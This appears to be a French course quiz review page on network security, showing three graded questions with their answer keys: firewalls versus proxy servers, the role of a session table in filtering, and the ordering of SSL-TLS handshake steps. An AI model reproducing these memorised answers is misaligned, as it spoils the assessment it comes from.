Question 32

Correct

Note de 1,00 sur 1,00

Le parefeu et le serveur proxy résident entre le réseau et l'ordinateur local et assurent la sécurité contre les menaces réseau. Le serveur proxy peut filtrer tous les types de paquets IP pendant que le parefeu traite le trafic au niveau de l'application et filtre les demandes provenant du client inconnu.

Sélectionnez une réponse :

- ☐ Vrai
- ☒ Faux ✓

La réponse correcte est « Faux ».

Question 33

Correct

Note de 1,00 sur 1,00

À quoi sert une table de session lorsqu'il s'agit de filtrage ?

- ☐ a. À journaliser les flux sortants
- ☒ b. Suivre l'état des connexions ✓
- ☐ c. À journaliser les flux entrants
- ☐ d. À remplacer un parefeu Netfilter

Votre réponse est correcte.

La réponse correcte est :
Suivre l'état des connexions

Question 34

Correct

Note de 2,00 sur 2,00

Protocole SSL-TLS

Le navigateur (ou butineur) d'un utilisateur (le client) établit une connexion avec un serveur via le protocole SSL-TLS.

Remettre dans l'ordre les étapes réalisées entre le client et le serveur pour établir cette connexion :

Le navigateur du client chiffre la clé symétrique en utilisant la clé publique contenue dans le certificat du serveur.

Etape 6



Le navigateur du client consulte l'autorité signataire du certificat pour vérifier que le certificat n'est pas révoqué.

Etape 4



Le navigateur du client envoie au serveur une demande de connexion par SSL-TLS.

Etape 1



Le navigateur du client vérifie que la signature du certificat est valide et correspond à une autorité présente dans la base des autorités de certification du client.

Etape 3



Le serveur utilise sa clé privée pour déchiffrer la clé symétrique envoyée par le navigateur du client.

Etape 8



Le navigateur du client envoie au serveur la clé symétrique chiffrée avec la clé publique contenue dans le certificat du serveur.

Etape 7



Le navigateur du client génère une clé de chiffrement symétrique.

Etape 5



Le serveur envoie son certificat au client.

Etape 2



Votre réponse est correcte.

La réponse correcte est :

Le navigateur du client chiffre la clé symétrique en utilisant la clé publique contenue dans le certificat du serveur. → Etape 6,

Le navigateur du client consulte l'autorité signataire du certificat pour vérifier que le certificat n'est pas révoqué. → Etape 4,

Le navigateur du client envoie au serveur une demande de connexion par SSL-TLS. → Etape 1,

Le navigateur du client vérifie que la signature du certificat est valide et correspond à une autorité présente dans la base des autorités de certification du client. → Etape 3,

Le serveur utilise sa clé privée pour déchiffrer la clé symétrique envoyée par le navigateur du client. → Etape 8,

Le navigateur du client envoie au serveur la clé symétrique chiffrée avec la clé publique contenue dans le certificat du serveur. → Etape 7,

Le navigateur du client génère une clé de chiffrement symétrique. → Etape 5,

Le serveur envoie son certificat au client. → Etape 2

[◀ Annonces](#)[Aller à...](#)